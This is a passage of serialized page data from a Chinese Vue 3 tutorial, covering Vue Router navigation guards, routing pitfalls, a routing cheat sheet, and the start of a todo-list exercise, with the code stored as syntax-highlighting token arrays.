}}\u003C\u002Fp>\n\u003C\u002Ftemplate>\n",[22,32065,32066,32076,32087,32103,32118,32122,32131,32148,32167,32176,32180,32188,32192,32200,32213],{"__ignoreMap":314},[331,32067,32068,32070,32072,32074],{"class":333,"line":334},[331,32069,510],{"class":337},[331,32071,891],{"class":497},[331,32073,6299],{"class":501},[331,32075,505],{"class":337},[331,32077,32078,32080,32083,32085],{"class":333,"line":341},[331,32079,4648],{"class":616},[331,32081,32082],{"class":337}," { useRoute, useRouter } ",[331,32084,13735],{"class":616},[331,32086,31499],{"class":365},[331,32088,32089,32091,32093,32095,32097,32100],{"class":333,"line":357},[331,32090,951],{"class":616},[331,32092,6339],{"class":344},[331,32094,957],{"class":616},[331,32096,6344],{"class":501},[331,32098,32099],{"class":337},"()     ",[331,32101,32102],{"class":1003},"\u002F\u002F 响应式的当前路由：params \u002F query \u002F hash \u002F path \u002F matched \u002F meta\n",[331,32104,32105,32107,32109,32111,32113,32116],{"class":333,"line":371},[331,32106,951],{"class":616},[331,32108,6353],{"class":344},[331,32110,957],{"class":616},[331,32112,6358],{"class":501},[331,32114,32115],{"class":337},"()   ",[331,32117,6306],{"class":1003},[331,32119,32120],{"class":333,"line":384},[331,32121,998],{"emptyLinePlaceholder":997},[331,32123,32124,32126,32129],{"class":333,"line":397},[331,32125,3047],{"class":616},[331,32127,32128],{"class":501}," go",[331,32130,1072],{"class":337},[331,32132,32133,32136,32138,32140,32142,32144,32146],{"class":333,"line":418},[331,32134,32135],{"class":337},"  router.",[331,32137,20810],{"class":501},[331,32139,20596],{"class":337},[331,32141,13762],{"class":365},[331,32143,31933],{"class":337},[331,32145,28762],{"class":344},[331,32147,7256],{"class":337},[331,32149,32150,32152,32155,32158,32161,32164],{"class":333,"line":427},[331,32151,32135],{"class":337},[331,32153,32154],{"class":501},"replace",[331,32156,32157],{"class":337},"({ path: ",[331,32159,32160],{"class":365},"'\u002Flogin'",[331,32162,32163],{"class":337},", query: { redirect: route.fullPath } })  ",[331,32165,32166],{"class":1003},"\u002F\u002F 不留历史\n",[331,32168,32169,32171,32174],{"class":333,"line":439},[331,32170,32135],{"class":337},[331,32172,32173],{"class":501},"back",[331,32175,1540],{"class":337},[331,32177,32178],{"class":333,"line":450},[331,32179,459],{"class":337},[331,32181,32182,32184,32186],{"class":333,"line":456},[331,32183,788],{"class":337},[331,32185,891],{"class":497},[331,32187,505],{"class":337},[331,32189,32190],{"class":333,"line":775},[331,32191,998],{"emptyLinePlaceholder":997},[331,32193,32194,32196,32198],{"class":333,"line":785},[331,32195,510],{"class":337},[331,32197,6012],{"class":497},[331,32199,505],{"class":337},[331,32201,32202,32204,32206,32209,32211],{"class":333,"line":795},[331,32203,537],{"class":337},[331,32205,11],{"class":497},[331,32207,32208],{"class":337},">id = {{ route.params.id }}，页码 = {{ route.query.page }}\u003C\u002F",[331,32210,11],{"class":497},[331,32212,505],{"class":337},[331,32214,32215,32217,32219],{"class":333,"line":805},[331,32216,788],{"class":337},[331,32218,6012],{"class":497},[331,32220,505],{"class":337},[11,32222,32223,5652,32225,32228,32229,32231],{},[22,32224,6701],{},[22,32226,32227],{},"props: (route) => ({ id: Number(route.params.id) })","）能把参数直接注入成组件 props，组件里就可以不依赖 ",[22,32230,5463],{},"——复用性和可测性都更好。",[11,32233,32234,4839,32237,4843,32240,4846,32243,32245,32246,32249,32250,32253,32254,161],{},[17,32235,32236],{},"同一路由只换参数时组件会被复用",[22,32238,32239],{},"\u002Fusers\u002F1",[22,32241,32242],{},"\u002Fusers\u002F2",[22,32244,17953],{}," 不再执行。三种应对：",[22,32247,32248],{},":key=\"route.fullPath\""," 强制重建、",[22,32251,32252],{},"watch(() => route.params.id, load)","、或 ",[22,32255,32256],{},"onBeforeRouteUpdate",[53,32258,32260],{"id":32259},"导航守卫三句话讲清","导航守卫：三句话讲清",[308,32262,32264],{"className":942,"code":32263,"language":944,"meta":314,"style":314},"\u002F\u002F 全局\nrouter.beforeEach((to) => {\n  if (to.meta.requiresAuth && !isLoggedIn()) {\n    return { name: 'login', query: { redirect: to.fullPath } }   \u002F\u002F 返回地址 = 重定向\n  }\n  \u002F\u002F 返回 undefined \u002F true = 放行；返回 false = 取消导航\n})\n\n\u002F\u002F 路由独享\n{ path: '\u002Fadmin', component: Admin, meta: { requiresAuth: true },\n  beforeEnter: (to) => isAdmin() || '\u002F403' }\n\n\u002F\u002F 组件内（\u003Cscript setup> 用这两个函数）\nimport { onBeforeRouteLeave, onBeforeRouteUpdate } from 'vue-router'\nonBeforeRouteLeave(() => edited.value ? confirm('有未保存内容，确定离开？') : true)\n",[22,32265,32266,32271,32289,32306,32322,32326,32331,32335,32339,32344,32377,32402,32406,32411,32422],{"__ignoreMap":314},[331,32267,32268],{"class":333,"line":334},[331,32269,32270],{"class":1003},"\u002F\u002F 全局\n",[331,32272,32273,32276,32279,32281,32283,32285,32287],{"class":333,"line":341},[331,32274,32275],{"class":337},"router.",[331,32277,32278],{"class":501},"beforeEach",[331,32280,3175],{"class":337},[331,32282,6148],{"class":2472},[331,32284,3180],{"class":337},[331,32286,1489],{"class":616},[331,32288,1100],{"class":337},[331,32290,32291,32293,32296,32298,32300,32303],{"class":333,"line":357},[331,32292,1526],{"class":616},[331,32294,32295],{"class":337}," (to.meta.requiresAuth ",[331,32297,14406],{"class":616},[331,32299,1165],{"class":616},[331,32301,32302],{"class":501},"isLoggedIn",[331,32304,32305],{"class":337},"()) {\n",[331,32307,32308,32310,32313,32316,32319],{"class":333,"line":371},[331,32309,1545],{"class":616},[331,32311,32312],{"class":337}," { name: ",[331,32314,32315],{"class":365},"'login'",[331,32317,32318],{"class":337},", query: { redirect: to.fullPath } }   ",[331,32320,32321],{"class":1003},"\u002F\u002F 返回地址 = 重定向\n",[331,32323,32324],{"class":333,"line":384},[331,32325,453],{"class":337},[331,32327,32328],{"class":333,"line":397},[331,32329,32330],{"class":1003},"  \u002F\u002F 返回 undefined \u002F true = 放行；返回 false = 取消导航\n",[331,32332,32333],{"class":333,"line":418},[331,32334,5399],{"class":337},[331,32336,32337],{"class":333,"line":427},[331,32338,998],{"emptyLinePlaceholder":997},[331,32340,32341],{"class":333,"line":439},[331,32342,32343],{"class":1003},"\u002F\u002F 路由独享\n",[331,32345,32346,32349,32351,32353,32356,32358,32360,32363,32365,32368,32371,32373,32375],{"class":333,"line":450},[331,32347,32348],{"class":337},"{ ",[331,32350,6722],{"class":501},[331,32352,348],{"class":337},[331,32354,32355],{"class":365},"'\u002Fadmin'",[331,32357,409],{"class":337},[331,32359,18172],{"class":501},[331,32361,32362],{"class":337},": Admin, ",[331,32364,540],{"class":501},[331,32366,32367],{"class":337},": { ",[331,32369,32370],{"class":501},"requiresAuth",[331,32372,348],{"class":337},[331,32374,1131],{"class":344},[331,32376,5251],{"class":337},[331,32378,32379,32382,32384,32386,32388,32390,32393,32395,32397,32400],{"class":333,"line":456},[331,32380,32381],{"class":501},"  beforeEnter",[331,32383,6534],{"class":337},[331,32385,6148],{"class":2472},[331,32387,3180],{"class":337},[331,32389,1489],{"class":616},[331,32391,32392],{"class":501}," isAdmin",[331,32394,23168],{"class":337},[331,32396,1162],{"class":616},[331,32398,32399],{"class":365}," '\u002F403'",[331,32401,9413],{"class":337},[331,32403,32404],{"class":333,"line":775},[331,32405,998],{"emptyLinePlaceholder":997},[331,32407,32408],{"class":333,"line":785},[331,32409,32410],{"class":1003},"\u002F\u002F 组件内（\u003Cscript setup> 用这两个函数）\n",[331,32412,32413,32415,32418,32420],{"class":333,"line":795},[331,32414,4648],{"class":616},[331,32416,32417],{"class":337}," { onBeforeRouteLeave, onBeforeRouteUpdate } ",[331,32419,13735],{"class":616},[331,32421,31499],{"class":365},[331,32423,32424,32427,32429,32431,32434,32436,32439,32441,32444,32446,32448,32450],{"class":333,"line":805},[331,32425,32426],{"class":501},"onBeforeRouteLeave",[331,32428,1486],{"class":337},[331,32430,1489],{"class":616},[331,32432,32433],{"class":337}," edited.value ",[331,32435,1177],{"class":616},[331,32437,32438],{"class":501}," confirm",[331,32440,966],{"class":337},[331,32442,32443],{"class":365},"'有未保存内容，确定离开？'",[331,32445,3180],{"class":337},[331,32447,1180],{"class":616},[331,32449,13639],{"class":344},[331,32451,972],{"class":337},[11,32453,32454,32456,32457,272,32459,272,32461,32464,32465,32467,32468,32471],{},[22,32455,540],{}," 是自由字段（配合 TS 声明增强提示），常用来放 ",[22,32458,32370],{},[22,32460,581],{},[22,32462,32463],{},"layout","。异步守卫可以直接 ",[22,32466,3286],{},"（旧代码里的 ",[22,32469,32470],{},"next()"," 调用方式仍可用，新代码用返回值更清晰）。",[4748,32473],{"height":32474,"src":32475,"title":32476},620,"\u002Ftutorials\u002Fvue3\u002Fdemos\u002F16-router-basics.html","示例 16：路由表匹配、参数解析与守卫拦截",[11,32478,32479,32480,32482],{},"示例 16 里点链接能看到「命中了哪条路由记录、params\u002Fquery 是什么、守卫放不放行」，右侧同步显示当前 ",[22,32481,6537],{}," 对象的结构。",[53,32484,4796],{"id":32485},"️-本章的坑-15",[11,32487,32488,32491,32492,32494,32495,32498,32499,32502,32503,32509],{},[17,32489,32490],{},"1. history 模式部署后刷新 404。"," 静态服务器只会为真实文件返回 200，",[22,32493,32010],{}," 不是文件。必须配 fallback（",[22,32496,32497],{},"try_files … \u002Findex.html","）或改 hash 模式。子路径部署时还要给 ",[22,32500,32501],{},"createWebHistory('\u002Fnuxt\u002F')"," 传 base——",[17,32504,32505,32506,32508],{},"这个 base 要和构建的 ",[22,32507,15338],{}," 配置一致","，否则资源路径和路由路径各说各话。",[11,32511,32512,268,32519,32522,32523,32526,32527,32530,32531,32534],{},[17,32513,5672,32514,23629,32516,32518],{},[22,32515,9034],{},[22,32517,6722],{}," 写法里会被静默丢弃。",[22,32520,32521],{},"router.push('\u002Fusers\u002F' + id)"," 之后 ",[22,32524,32525],{},"route.params"," 是空的；要用 ",[22,32528,32529],{},"push({ name, params })"," 或把值拼进 path 再从 ",[22,32532,32533],{},"route.path"," 解析。",[11,32536,32537,32548,32549,32552,32553,32556],{},[17,32538,32539,32540,6745,32542,32545,32546,161],{},"3. 用 ",[22,32541,18308],{},[22,32543,32544],{},"\u003Ca href>"," 替代 ",[22,32547,6376],{}," 原生 ",[22,32550,32551],{},"\u003Ca>"," 会触发整页刷新（单页应用的意义就没了）。需要「看起来像链接」时用 ",[22,32554,32555],{},"\u003CRouterLink custom v-slot=\"{ navigate }\">"," 自定义渲染。",[11,32558,32559,32568,32569,7709,32571,32573],{},[17,32560,32561,32562,655,32564,5160,32566,6671],{},"4. 守卫里返回 ",[22,32563,1131],{},[22,32565,3193],{},[22,32567,32470],{}," 同一个守卫里既 ",[22,32570,32470],{},[22,32572,10859],{}," 会行为怪异。选一种风格，新项目建议返回值。",[11,32575,32576,32579,32580,32583],{},[17,32577,32578],{},"5. 守卫里做异步请求没加超时\u002F取消。"," 用户点得快，导航会卡在「等待鉴权」；请求失败时如果既不 ",[22,32581,32582],{},"return false"," 也不重定向，界面就停在原地，看起来像「链接点不动」。",[11,32585,32586,32589],{},[17,32587,32588],{},"6. 只换参数的页面不重新请求数据。"," 上面「同一路由复用组件」那条，是最常见的「切了个分类，列表还是老数据」。",[11,32591,32592,268,32595,32598,32599,161],{},[17,32593,32594],{},"7. 404 兜底路由必须放最后。",[22,32596,32597],{},"\u002F:pathMatch(.*)*"," 写在前面会把所有路径吃掉。它的路径语法（v4\u002Fv5 都支持这一种）值得抄下来，别靠记忆改写成 ",[22,32600,32601],{},"(.*?)",[11,32603,32604,32614,32615,32618,32619,32621],{},[17,32605,5783,32606,32609,32610,32613],{},[22,32607,32608],{},"scrollBehavior"," 返回 ",[22,32611,32612],{},"savedPosition"," 时要判空。"," 直接 ",[22,32616,32617],{},"return saved"," 在没保存位置时返回 ",[22,32620,5872],{},"，Vue Router 会退化成「滚到顶部」，可能不是你想要的。",[11,32623,32624,268,32627,32630,32631,1677,32634,32637],{},[17,32625,32626],{},"9. 路由懒加载的组件路径写错不会立刻报错。",[22,32628,32629],{},"() => import('.\u002FVIEWS\u002FAbout.vue')"," 只在真正进入那条路由时才失败（表现为「点了没反应\u002F白屏」）。构建期用 ",[22,32632,32633],{},"vite",[22,32635,32636],{},"build.rollupOptions"," 报错或跑一遍全路由点击来兜住。",[53,32639,32641],{"id":32640},"附路由速查","附：路由速查",[57,32643,32644,32652],{},[60,32645,32646],{},[63,32647,32648,32650],{},[66,32649,9791],{},[66,32651,19254],{},[79,32653,32654,32664,32680,32696,32711,32722,32732,32752,32771,32781,32801,32811,32821],{},[63,32655,32656,32659],{},[84,32657,32658],{},"声明",[84,32660,32661],{},[22,32662,32663],{},"{ path: '\u002Fu\u002F:id', component: User, name: 'user', props: true, meta: { title: '用户' } }",[63,32665,32666,32669],{},[84,32667,32668],{},"可选参数",[84,32670,32671,32674,32675,24209,32678,5149],{},[22,32672,32673],{},"\u002Fposts\u002F:page?","（省略时 ",[22,32676,32677],{},"params.page",[22,32679,5872],{},[63,32681,32682,32685],{},[84,32683,32684],{},"参数格式校验",[84,32686,32687,32688,32691,32692,32695],{},"别依赖路径里的正则（不同小版本语法有出入，实测为准）；用 ",[22,32689,32690],{},"beforeEnter"," 守卫或 ",[22,32693,32694],{},"props: (route) => ({ page: Number(route.params.page) || 1 })"," 更稳",[63,32697,32698,32701],{},[84,32699,32700],{},"嵌套子路由",[84,32702,32703,32704,32707,32708],{},"父记录 ",[22,32705,32706],{},"children: [...]","，父组件里再放 ",[22,32709,32710],{},"\u003CRouterView \u002F>",[63,32712,32713,32716],{},[84,32714,32715],{},"兜底 404",[84,32717,32718,32721],{},[22,32719,32720],{},"{ path: '\u002F:pathMatch(.*)*', component: NotFound }","（放最后）",[63,32723,32724,32727],{},[84,32725,32726],{},"链接",[84,32728,32729],{},[22,32730,32731],{},"\u003CRouterLink :to=\"{ name: 'user', params: { id } }\">",[63,32733,32734,32737],{},[84,32735,32736],{},"激活样式类",[84,32738,32739,1901,32742,32745,32746,1901,32749,5149],{},[22,32740,32741],{},"active-class",[22,32743,32744],{},"exact-active-class","（默认 ",[22,32747,32748],{},"router-link-active",[22,32750,32751],{},"-exact-active",[63,32753,32754,32757],{},[84,32755,32756],{},"命令式跳转",[84,32758,32759,1901,32762,1901,32765,1901,32768],{},[22,32760,32761],{},"router.push()",[22,32763,32764],{},"replace()",[22,32766,32767],{},"back()",[22,32769,32770],{},"forward()",[63,32772,32773,32776],{},[84,32774,32775],{},"读当前路由",[84,32777,32778,32780],{},[22,32779,7659],{},"（响应式，别解构整个对象）",[63,32782,32783,32786],{},[84,32784,32785],{},"守卫",[84,32787,32788,32789,1901,32791,32794,32795,32797,32798],{},"全局 ",[22,32790,32278],{},[22,32792,32793],{},"afterEach","，记录 ",[22,32796,32690],{},"，组件内 ",[22,32799,32800],{},"onBeforeRouteLeave\u002FUpdate",[63,32802,32803,32806],{},[84,32804,32805],{},"滚动",[84,32807,32808],{},[22,32809,32810],{},"scrollBehavior: (to, from, saved) => saved ?? { left: 0, top: 0 }",[63,32812,32813,32816],{},[84,32814,32815],{},"懒加载",[84,32817,32818],{},[22,32819,32820],{},"component: () => import('.\u002FViews\u002FX.vue')",[63,32822,32823,32826],{},[84,32824,32825],{},"路由中间件式复用",[84,32827,32828,32829,32831,32832,32834],{},"把校验逻辑抽进 ",[22,32830,540],{}," + 一个全局守卫（Nuxt 里有专门的 ",[22,32833,5510],{}," + middleware）",[48,32836,32838],{"id":32837},"十七综合实战一个待办清单把前面十六章串起来","十七、综合实战：一个待办清单，把前面十六章串起来",[11,32840,32841],{},"待办清单是「最小的完整应用」：有输入、有列表、有筛选、有持久化、有组件拆分。下面按「先能跑，再拆好」的顺序走一遍，每一步都只用到前面章节出现过的语法。示例 17 是最终成品，可以直接玩。",[53,32843,32845],{"id":32844},"第一步数据形状先定下来","第一步：数据形状先定下来",[308,32847,32849],{"className":942,"code":32848,"language":944,"meta":314,"style":314},"\u002F\u002F 一条待办就是一个普通对象，id 稳定唯一（第十一章的 key 就靠它）\n{ id: 1731289000, text: '写教程', done: false, createdAt: 1731289000 }\n",[22,32850,32851,32856],{"__ignoreMap":314},[331,32852,32853],{"class":333,"line":334},[331,32854,32855],{"class":1003},"\u002F\u002F 一条待办就是一个普通对象，id 稳定唯一（第十一章的 key 就靠它）\n",[331,32857,32858,32860,32862,32864,32867,32869,32871,32873,32876,32878,32881,32883,32885,32887,32890,32892,32894],{"class":333,"line":341},[331,32859,32348],{"class":337},[331,32861,8521],{"class":501},[331,32863,348],{"class":337},[331,32865,32866],{"class":344},"1731289000",[331,32868,409],{"class":337},[331,32870,313],{"class":501},[331,32872,348],{"class":337},[331,32874,32875],{"class":365},"'写教程'",[331,32877,409],{"class":337},[331,32879,32880],{"class":501},"done",[331,32882,348],{"class":337},[331,32884,3193],{"class":344},[331,32886,409],{"class":337},[331,32888,32889],{"class":501},"createdAt",[331,32891,348],{"class":337},[331,32893,32866],{"class":344},[331,32895,9413],{"class":337},[11,32897,32898,32901],{},[17,32899,32900],{},"先定数据，再写模板。"," 界面所有状态都能从这份数据算出来，就没有第二份需要同步的「影子状态」（这是 UI bug 的主要来源）。",[53,32903,32905],{"id":32904},"第二步最小可用版一个文件","第二步：最小可用版（一个文件）",[308,32907,32909],{"className":5996,"code":32908,"language":5998,"meta":314,"style":314},"\u003Cscript setup>\nimport { ref, computed, watch } from 'vue'\n\nconst KEY = 'vue3-todo'\nconst storage = ref([])\n\nconst draft = ref('')\nconst filter = ref('all')          \u002F\u002F all | active | done\n\nconst add = () => {\n  const text = draft.value.trim()\n  if (!text) return\n  storage.value.push({ id: Date.now(), text, done: false })\n  draft.value = ''\n}\n\nconst visible = computed(() =>\n  storage.value.filter(t => filter.value === 'all' ? true : t.done === (filter.value === 'done'))\n)\nconst left = computed(() => storage.value.filter(t => !t.done).length)\n\nwatch(storage, (v) => localStorage.setItem(KEY, JSON.stringify(v)), { deep: true })\n\u003C\u002Fscript>\n\n\u003Ctemplate>\n  \u003Csection class=\"todo\">\n    \u003Cform @submit.prevent=\"add\">\n      \u003Cinput v-model=\"draft\" placeholder=\"要做什么？\" aria-label=\"新待办\">\n      \u003Cbutton type=\"submit\" :disabled=\"!draft.trim()\">添加\u003C\u002Fbutton>\n    \u003C\u002Fform>\n\n    \u003Cul>\n      \u003Cli v-for=\"t in visible\" :key=\"t.id\">\n        \u003Clabel>\n          \u003Cinput type=\"checkbox\" v-model=\"t.done\">\n          \u003Cspan :class=\"{ done: t.done }\">{{ t.text }}\u003C\u002Fspan>\n        \u003C\u002Flabel>\n        \u003Cbutton type=\"button\" @click=\"storage = storage.filter(x => x.id !== t.id)\">删除\u003C\u002Fbutton>\n      \u003C\u002Fli>\n    \u003C\u002Ful>\n\n    \u003Cfooter>\n      剩 {{ left }} 项\n      \u003Cselect v-model=\"filter\">\n        \u003Coption value=\"all\">全部\u003C\u002Foption>\n        \u003Coption value=\"active\">未完成\u003C\u002Foption>\n        \u003Coption value=\"done\">已完成\u003C\u002Foption>\n      \u003C\u002Fselect>\n    \u003C\u002Ffooter>\n  \u003C\u002Fsection>\n\u003C\u002Ftemplate>\n",[22,32910,32911,32921,32932,32936,32948,32962,32966,32983,33004,33008,33022,33038,33051,33070,33080,33084,33088,33103,33145,33149,33184,33188,33225,33233,33237,33245,33260,33275,33305,33331,33339,33343,33351,33373,33381,33403,33424,33434,33461,33470,33479,33484,33493,33499,33516,33539,33560,33581,33590,33599,33608],{"__ignoreMap":314},[331,32912,32913,32915,32917,32919],{"class":333,"line":334},[331,32914,510],{"class":337},[331,32916,891],{"class":497},[331,32918,6299],{"class":501},[331,32920,505],{"class":337},[331,32922,32923,32925,32928,32930],{"class":333,"line":341},[331,32924,4648],{"class":616},[331,32926,32927],{"class":337}," { ref, computed, watch } ",[331,32929,13735],{"class":616},[331,32931,17864],{"class":365},[331,32933,32934],{"class":333,"line":357},[331,32935,998],{"emptyLinePlaceholder":997},[331,32937,32938,32940,32943,32945],{"class":333,"line":371},[331,32939,951],{"class":616},[331,32941,32942],{"class":344}," KEY",[331,32944,957],{"class":616},[331,32946,32947],{"class":365}," 'vue3-todo'\n",[331,32949,32950,32952,32955,32957,32959],{"class":333,"line":384},[331,32951,951],{"class":616},[331,32953,32954],{"class":344}," storage",[331,32956,957],{"class":616},[331,32958,13780],{"class":501},[331,32960,32961],{"class":337},"([])\n",[331,32963,32964],{"class":333,"line":397},[331,32965,998],{"emptyLinePlaceholder":997},[331,32967,32968,32970,32973,32975,32977,32979,32981],{"class":333,"line":418},[331,32969,951],{"class":616},[331,32971,32972],{"class":344}," draft",[331,32974,957],{"class":616},[331,32976,13780],{"class":501},[331,32978,966],{"class":337},[331,32980,9164],{"class":365},[331,32982,972],{"class":337},[331,32984,32985,32987,32990,32992,32994,32996,32999,33001],{"class":333,"line":427},[331,32986,951],{"class":616},[331,32988,32989],{"class":344}," filter",[331,32991,957],{"class":616},[331,32993,13780],{"class":501},[331,32995,966],{"class":337},[331,32997,32998],{"class":365},"'all'",[331,33000,9613],{"class":337},[331,33002,33003],{"class":1003},"\u002F\u002F all | active | done\n",[331,33005,33006],{"class":333,"line":439},[331,33007,998],{"emptyLinePlaceholder":997},[331,33009,33010,33012,33014,33016,33018,33020],{"class":333,"line":450},[331,33011,951],{"class":616},[331,33013,28251],{"class":501},[331,33015,957],{"class":616},[331,33017,7268],{"class":337},[331,33019,1489],{"class":616},[331,33021,1100],{"class":337},[331,33023,33024,33026,33029,33031,33034,33036],{"class":333,"line":456},[331,33025,1496],{"class":616},[331,33027,33028],{"class":344}," text",[331,33030,957],{"class":616},[331,33032,33033],{"class":337}," draft.value.",[331,33035,23165],{"class":501},[331,33037,1540],{"class":337},[331,33039,33040,33042,33044,33046,33049],{"class":333,"line":775},[331,33041,1526],{"class":616},[331,33043,1147],{"class":337},[331,33045,1150],{"class":616},[331,33047,33048],{"class":337},"text) ",[331,33050,23230],{"class":616},[331,33052,33053,33056,33058,33061,33063,33066,33068],{"class":333,"line":785},[331,33054,33055],{"class":337},"  storage.value.",[331,33057,20810],{"class":501},[331,33059,33060],{"class":337},"({ id: Date.",[331,33062,14861],{"class":501},[331,33064,33065],{"class":337},"(), text, done: ",[331,33067,3193],{"class":344},[331,33069,1139],{"class":337},[331,33071,33072,33075,33077],{"class":333,"line":795},[331,33073,33074],{"class":337},"  draft.value ",[331,33076,518],{"class":616},[331,33078,33079],{"class":365}," ''\n",[331,33081,33082],{"class":333,"line":805},[331,33083,459],{"class":337},[331,33085,33086],{"class":333,"line":819},[331,33087,998],{"emptyLinePlaceholder":997},[331,33089,33090,33092,33095,33097,33099,33101],{"class":333,"line":850},[331,33091,951],{"class":616},[331,33093,33094],{"class":344}," visible",[331,33096,957],{"class":616},[331,33098,13798],{"class":501},[331,33100,1486],{"class":337},[331,33102,21579],{"class":616},[331,33104,33105,33107,33109,33111,33114,33116,33119,33121,33124,33126,33128,33130,33133,33135,33138,33140,33143],{"class":333,"line":886},[331,33106,33055],{"class":337},[331,33108,21587],{"class":501},[331,33110,966],{"class":337},[331,33112,33113],{"class":2472},"t",[331,33115,21594],{"class":616},[331,33117,33118],{"class":337}," filter.value ",[331,33120,2625],{"class":616},[331,33122,33123],{"class":365}," 'all'",[331,33125,2631],{"class":616},[331,33127,13639],{"class":344},[331,33129,2636],{"class":616},[331,33131,33132],{"class":337}," t.done ",[331,33134,2625],{"class":616},[331,33136,33137],{"class":337}," (filter.value ",[331,33139,2625],{"class":616},[331,33141,33142],{"class":365}," 'done'",[331,33144,8335],{"class":337},[331,33146,33147],{"class":333,"line":909},[331,33148,972],{"class":337},[331,33150,33151,33153,33156,33158,33160,33162,33164,33167,33169,33171,33173,33175,33177,33180,33182],{"class":333,"line":918},[331,33152,951],{"class":616},[331,33154,33155],{"class":344}," left",[331,33157,957],{"class":616},[331,33159,13798],{"class":501},[331,33161,1486],{"class":337},[331,33163,1489],{"class":616},[331,33165,33166],{"class":337}," storage.value.",[331,33168,21587],{"class":501},[331,33170,966],{"class":337},[331,33172,33113],{"class":2472},[331,33174,21594],{"class":616},[331,33176,1165],{"class":616},[331,33178,33179],{"class":337},"t.done).",[331,33181,10192],{"class":344},[331,33183,972],{"class":337},[331,33185,33186],{"class":333,"line":1232},[331,33187,998],{"emptyLinePlaceholder":997},[331,33189,33190,33192,33195,33197,33199,33201,33203,33205,33207,33210,33212,33214,33216,33218,33221,33223],{"class":333,"line":1253},[331,33191,5460],{"class":501},[331,33193,33194],{"class":337},"(storage, (",[331,33196,14033],{"class":2472},[331,33198,3180],{"class":337},[331,33200,1489],{"class":616},[331,33202,14040],{"class":337},[331,33204,14043],{"class":501},[331,33206,966],{"class":337},[331,33208,33209],{"class":344},"KEY",[331,33211,409],{"class":337},[331,33213,13165],{"class":344},[331,33215,1192],{"class":337},[331,33217,13170],{"class":501},[331,33219,33220],{"class":337},"(v)), { deep: ",[331,33222,1131],{"class":344},[331,33224,1139],{"class":337},[331,33226,33227,33229,33231],{"class":333,"line":1259},[331,33228,788],{"class":337},[331,33230,891],{"class":497},[331,33232,505],{"class":337},[331,33234,33235],{"class":333,"line":1271},[331,33236,998],{"emptyLinePlaceholder":997},[331,33238,33239,33241,33243],{"class":333,"line":1277},[331,33240,510],{"class":337},[331,33242,6012],{"class":497},[331,33244,505],{"class":337},[331,33246,33247,33249,33251,33253,33255,33258],{"class":333,"line":1293},[331,33248,537],{"class":337},[331,33250,26371],{"class":497},[331,33252,6024],{"class":501},[331,33254,518],{"class":337},[331,33256,33257],{"class":365},"\"todo\"",[331,33259,505],{"class":337},[331,33261,33262,33264,33266,33268,33270,33273],{"class":333,"line":1302},[331,33263,6036],{"class":337},[331,33265,19713],{"class":497},[331,33267,19716],{"class":501},[331,33269,518],{"class":337},[331,33271,33272],{"class":365},"\"add\"",[331,33274,505],{"class":337},[331,33276,33277,33279,33281,33283,33285,33288,33290,33292,33295,33298,33300,33303],{"class":333,"line":1311},[331,33278,26621],{"class":337},[331,33280,19733],{"class":497},[331,33282,19736],{"class":501},[331,33284,518],{"class":337},[331,33286,33287],{"class":365},"\"draft\"",[331,33289,23289],{"class":501},[331,33291,518],{"class":337},[331,33293,33294],{"class":365},"\"要做什么？\"",[331,33296,33297],{"class":501}," aria-label",[331,33299,518],{"class":337},[331,33301,33302],{"class":365},"\"新待办\"",[331,33304,505],{"class":337},[331,33306,33307,33309,33311,33313,33315,33317,33319,33321,33324,33327,33329],{"class":333,"line":1323},[331,33308,26621],{"class":337},[331,33310,824],{"class":497},[331,33312,835],{"class":501},[331,33314,518],{"class":337},[331,33316,22554],{"class":365},[331,33318,23423],{"class":501},[331,33320,518],{"class":337},[331,33322,33323],{"class":365},"\"!draft.trim()\"",[331,33325,33326],{"class":337},">添加\u003C\u002F",[331,33328,824],{"class":497},[331,33330,505],{"class":337},[331,33332,33333,33335,33337],{"class":333,"line":1357},[331,33334,26688],{"class":337},[331,33336,19713],{"class":497},[331,33338,505],{"class":337},[331,33340,33341],{"class":333,"line":1367},[331,33342,998],{"emptyLinePlaceholder":997},[331,33344,33345,33347,33349],{"class":333,"line":1378},[331,33346,6036],{"class":337},[331,33348,1773],{"class":497},[331,33350,505],{"class":337},[331,33352,33353,33355,33357,33359,33361,33364,33366,33368,33371],{"class":333,"line":1383},[331,33354,26621],{"class":337},[331,33356,1662],{"class":497},[331,33358,8073],{"class":501},[331,33360,518],{"class":337},[331,33362,33363],{"class":365},"\"t in visible\"",[331,33365,8081],{"class":501},[331,33367,518],{"class":337},[331,33369,33370],{"class":365},"\"t.id\"",[331,33372,505],{"class":337},[331,33374,33375,33377,33379],{"class":333,"line":1388},[331,33376,26665],{"class":337},[331,33378,23394],{"class":497},[331,33380,505],{"class":337},[331,33382,33383,33386,33388,33390,33392,33394,33396,33398,33401],{"class":333,"line":1393},[331,33384,33385],{"class":337},"          \u003C",[331,33387,19733],{"class":497},[331,33389,835],{"class":501},[331,33391,518],{"class":337},[331,33393,23385],{"class":365},[331,33395,19736],{"class":501},[331,33397,518],{"class":337},[331,33399,33400],{"class":365},"\"t.done\"",[331,33402,505],{"class":337},[331,33404,33406,33408,33410,33412,33414,33417,33420,33422],{"class":333,"line":33405},36,[331,33407,33385],{"class":337},[331,33409,331],{"class":497},[331,33411,19775],{"class":501},[331,33413,518],{"class":337},[331,33415,33416],{"class":365},"\"{ done: t.done }\"",[331,33418,33419],{"class":337},">{{ t.text }}\u003C\u002F",[331,33421,331],{"class":497},[331,33423,505],{"class":337},[331,33425,33427,33430,33432],{"class":333,"line":33426},37,[331,33428,33429],{"class":337},"        \u003C\u002F",[331,33431,23394],{"class":497},[331,33433,505],{"class":337},[331,33435,33437,33439,33441,33443,33445,33447,33449,33451,33454,33457,33459],{"class":333,"line":33436},38,[331,33438,26665],{"class":337},[331,33440,824],{"class":497},[331,33442,835],{"class":501},[331,33444,518],{"class":337},[331,33446,840],{"class":365},[331,33448,7348],{"class":501},[331,33450,518],{"class":337},[331,33452,33453],{"class":365},"\"storage = storage.filter(x => x.id !== 